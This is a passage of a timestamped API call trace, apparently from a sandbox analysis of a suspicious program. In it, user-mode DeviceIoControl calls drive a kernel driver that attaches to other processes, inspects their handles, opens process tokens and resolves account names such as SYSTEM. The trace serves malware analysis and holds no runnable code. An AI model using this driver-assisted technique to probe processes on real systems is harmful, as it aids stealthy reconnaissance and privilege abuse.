(Object=0xfffffa8002164d10) returned 0x1 [0095.252] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.252] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.252] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.252] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.252] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.252] PsAcquireProcessExitSynchronization () returned 0x0 [0095.252] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880052335d0) [0095.252] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0020d7960, HandleInformation=0x0) returned 0x0 [0095.252] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.252] PsReleaseProcessExitSynchronization () returned 0x2 [0095.252] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0095.252] ObQueryNameString (in: Object=0xfffff8a0020d7960, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.252] ObfDereferenceObject (Object=0xfffff8a0020d7960) returned 0x1 [0095.252] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.252] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.252] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb5c) returned 0xc0 [0095.252] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.252] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8002144060, HandleInformation=0x0) returned 0x0 [0095.252] ObOpenObjectByPointer (in: Object=0xfffffa8002144060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0095.252] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x12 [0095.252] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa800365a600 | out: TokenHandle=0xfffffa800365a600*=0xc8) returned 0x0 [0095.252] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0095.252] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.252] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.252] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.254] CloseHandle (hObject=0xc8) returned 1 [0095.254] CloseHandle (hObject=0xc0) returned 1 [0095.254] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.254] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0095.254] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.254] PsAcquireProcessExitSynchronization () returned 0x0 [0095.254] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff880052335d0) [0095.254] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001f98070, HandleInformation=0x0) returned 0x0 [0095.254] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.254] PsReleaseProcessExitSynchronization () returned 0x2 [0095.254] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0095.254] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ff1044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ff1044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.255] ObfDereferenceObject (Object=0xfffffa8001f98070) returned 0x1 [0095.255] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.255] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.255] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.255] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0095.255] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.255] PsAcquireProcessExitSynchronization () returned 0x0 [0095.255] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff880052335d0) [0095.255] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002150790, HandleInformation=0x0) returned 0x0 [0095.255] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.255] PsReleaseProcessExitSynchronization () returned 0x2 [0095.255] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0095.255] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002047044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002047044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.255] ObfDereferenceObject (Object=0xfffffa8002150790) returned 0x1 [0095.255] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.255] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.255] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.255] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.255] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.255] PsAcquireProcessExitSynchronization () returned 0x0 [0095.255] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff880052335d0) [0095.255] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0095.255] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.255] PsReleaseProcessExitSynchronization () returned 0x2 [0095.255] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0095.255] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a27044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001a27044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.255] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0095.255] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.255] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.255] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.255] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0095.255] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.255] PsAcquireProcessExitSynchronization () returned 0x0 [0095.255] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff880052335d0) [0095.256] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002176f20, HandleInformation=0x0) returned 0x0 [0095.256] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.256] PsReleaseProcessExitSynchronization () returned 0x2 [0095.256] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0095.256] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002057044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002057044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.256] ObfDereferenceObject (Object=0xfffffa8002176f20) returned 0x1 [0095.256] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.256] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.256] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.256] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.256] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.256] PsAcquireProcessExitSynchronization () returned 0x0 [0095.256] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff880052335d0) [0095.256] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001cbd3d0, HandleInformation=0x0) returned 0x0 [0095.256] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.256] PsReleaseProcessExitSynchronization () returned 0x2 [0095.256] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0095.256] ObQueryNameString (in: Object=0xfffff8a001cbd3d0, ObjectNameInfo=0xfffffa8001ed1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ed1044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.256] ObfDereferenceObject (Object=0xfffff8a001cbd3d0) returned 0x1 [0095.256] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.256] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.256] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb7c) returned 0xc0 [0095.256] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.256] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa800217b060, HandleInformation=0x0) returned 0x0 [0095.256] ObOpenObjectByPointer (in: Object=0xfffffa800217b060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0095.256] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x12 [0095.256] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa800365a600 | out: TokenHandle=0xfffffa800365a600*=0xc8) returned 0x0 [0095.256] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0095.256] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.257] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.257] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.258] CloseHandle (hObject=0xc8) returned 1 [0095.258] CloseHandle (hObject=0xc0) returned 1 [0095.258] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.258] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0095.258] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.258] PsAcquireProcessExitSynchronization () returned 0x0 [0095.258] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff880052335d0) [0095.258] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003568a20, HandleInformation=0x0) returned 0x0 [0095.258] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.258] PsReleaseProcessExitSynchronization () returned 0x2 [0095.258] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0095.258] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001f8a044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001f8a044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.258] ObfDereferenceObject (Object=0xfffffa8003568a20) returned 0x1 [0095.258] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.258] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.258] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.258] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0095.259] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.259] PsAcquireProcessExitSynchronization () returned 0x0 [0095.259] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff880052335d0) [0095.259] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80026f13a0, HandleInformation=0x0) returned 0x0 [0095.259] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.259] PsReleaseProcessExitSynchronization () returned 0x2 [0095.259] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0095.259] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001942044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001942044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.259] ObfDereferenceObject (Object=0xfffffa80026f13a0) returned 0x1 [0095.259] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.259] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.259] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.259] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.259] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.259] PsAcquireProcessExitSynchronization () returned 0x0 [0095.259] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff880052335d0) [0095.259] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0095.259] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.259] PsReleaseProcessExitSynchronization () returned 0x2 [0095.259] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0095.259] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001edd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001edd044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.259] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0095.259] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.259] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.259] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.259] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0095.259] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.259] PsAcquireProcessExitSynchronization () returned 0x0 [0095.259] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff880052335d0) [0095.259] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003473110, HandleInformation=0x0) returned 0x0 [0095.259] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.259] PsReleaseProcessExitSynchronization () returned 0x2 [0095.260] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0095.260] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ee1044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ee1044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.260] ObfDereferenceObject (Object=0xfffffa8003473110) returned 0x1 [0095.260] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.260] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.260] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.260] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.260] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.260] PsAcquireProcessExitSynchronization () returned 0x0 [0095.260] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff880052335d0) [0095.260] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0001f58e0, HandleInformation=0x0) returned 0x0 [0095.260] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.260] PsReleaseProcessExitSynchronization () returned 0x2 [0095.260] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0095.260] ObQueryNameString (in: Object=0xfffff8a0001f58e0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.260] ObfDereferenceObject (Object=0xfffff8a0001f58e0) returned 0x1 [0095.260] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.260] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.260] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xbc0) returned 0xc0 [0095.260] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.260] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80022bd7b0, HandleInformation=0x0) returned 0x0 [0095.260] ObOpenObjectByPointer (in: Object=0xfffffa80022bd7b0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0095.260] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x39 [0095.260] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa800365a600 | out: TokenHandle=0xfffffa800365a600*=0xc8) returned 0x0 [0095.260] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0095.260] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.260] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.260] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.262] CloseHandle (hObject=0xc8) returned 1 [0095.262] CloseHandle (hObject=0xc0) returned 1 [0095.262] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.262] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0095.262] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.262] PsAcquireProcessExitSynchronization () returned 0x0 [0095.262] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880052335d0) [0095.262] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80021662c0, 